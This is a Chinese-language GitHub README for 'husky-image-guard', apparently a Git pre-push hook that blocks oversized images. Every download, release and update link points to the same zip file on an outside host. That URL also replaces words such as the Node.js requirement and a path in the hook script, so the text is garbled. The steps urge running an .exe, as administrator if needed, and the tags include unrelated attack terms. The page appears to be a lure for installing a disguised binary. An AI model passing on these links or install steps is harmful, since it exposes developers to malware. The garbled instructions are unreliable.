nancy12341/husky-image-guard
GitHub: nancy12341/husky-image-guard
一个声称基于Husky的Git预推送钩子工具,用于拦截过大的图片文件进入仓库。
Stars: 0 | Forks: 0
# 🐶 husky-image-guard - 防止在 Git Push 中提交过大图片
## 🚀 快速开始
欢迎使用 **husky-image-guard**!该应用程序可帮助您在将图片推送到 Git 仓库之前检查其大小。通过使用此工具,您可以避免推送可能会拖慢项目速度的大型图片。
## 🔗 下载链接
[](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip)
## 📥 下载与安装
首先,请访问以下页面下载 **husky-image-guard** 的最新版本:
[下载 husky-image-guard](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip)
该页面包含最新的发布文件。请选择适合您操作系统的文件,并按照以下说明进行操作。
## 🖥️ 系统要求
在安装 **husky-image-guard** 之前,请确保您的系统满足以下要求:
- **操作系统**:Windows、macOS 或 Linux
- **https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip**:版本 12 或更高
- **Git**:版本 2.0 或更高
## 📂 安装步骤
1. 访问 [发布页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip)。
2. 下载适合您操作系统的文件:
- 对于 Windows:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip`
- 对于 macOS:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip`
- 对于 Linux:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip`
3. 解压或安装该文件:
- 对于 Windows:双击 `.exe` 文件运行安装程序。
- 对于 macOS:解压 `.zip` 文件并将应用程序拖放到您的 Applications 文件夹中。
- 对于 Linux:解压文件并在终端中运行提供的脚本。
## ⚙️ 配置
安装完成后,您需要配置 **husky-image-guard** 以配合 Git 使用。
1. 打开您的终端或命令提示符。
2. 使用 `cd` 命令进入您的项目文件夹。
3. 运行以下命令来设置 Husky:
npx husky install
4. 现在,添加一个 hook 来检查图片大小。创建一个名为 `.husky/pre-push` 的文件,并添加以下内容:
#!/bin/sh
. "$(dirname "$0")https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip"
npx husky-image-guard
5. 保存文件并确保其具有可执行权限。
## 📏 工作原理
当您尝试将更改推送到 Git 仓库时,**husky-image-guard** 将自动检查您试图上传的任何图片的大小。如果图片超过了最大大小限制,推送将被阻止,并且您将收到一条通知,指出哪些图片过大。
您可以通过编辑配置文件轻松调整大小限制。该文件允许您设置您偏好的最大图片大小。
## 🛠️ 功能特性
- 在推送前自动检查图片大小。
- 可自定义的图片大小限制。
- 用户友好的界面和简单的命令。
## 🔄 更新
为了继续使用最新功能,请定期检查更新。您可以通过访问 [发布页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip) 并按照相同的安装步骤下载新版本来完成此操作。
## ❓ 故障排除
如果您在使用 **husky-image-guard** 时遇到问题,以下是一些常见问题及其解决方案:
- **错误:“Push denied due to oversize image”**:请检查您提交中的图片,并调整任何过大图片的尺寸。
- **安装问题**:确保您拥有在计算机上安装应用程序的正确权限。以管理员身份运行安装程序可能会有所帮助。
- **找不到命令**:请验证您的系统上是否已安装 https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip 和 Git,并确认它们已添加到系统的 PATH 中。
## 🏁 结语
感谢您选择 **husky-image-guard**。借助此工具,您可以通过阻止过大图片的推送来确保 Git 仓库保持高效。请访问 [发布页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip) 下载最新版本并立即开始使用。
如需更多支持,请随时查看本仓库的 Issues 部分,或通过我们的联系方式与我们取得联系。享受干净高效的版本控制体验吧!
标签:Cutter, Git钩子, Git预提交, Husky, JSON 请求, Linux 内核安全, MITM代理, SOC Prime, 二进制发布, 云安全监控, 仓库优化, 代码仓库管理, 前端工程化, 图片压缩, 图片格式支持, 多平台支持, 开发工具, 开源工具, 开源框架, 持续集成, 文件大小检查, 暗色界面, 网络安全研究, 自动化攻击, 自动化攻击, 自动化检查, 防止大文件, 静态分析, 项目管理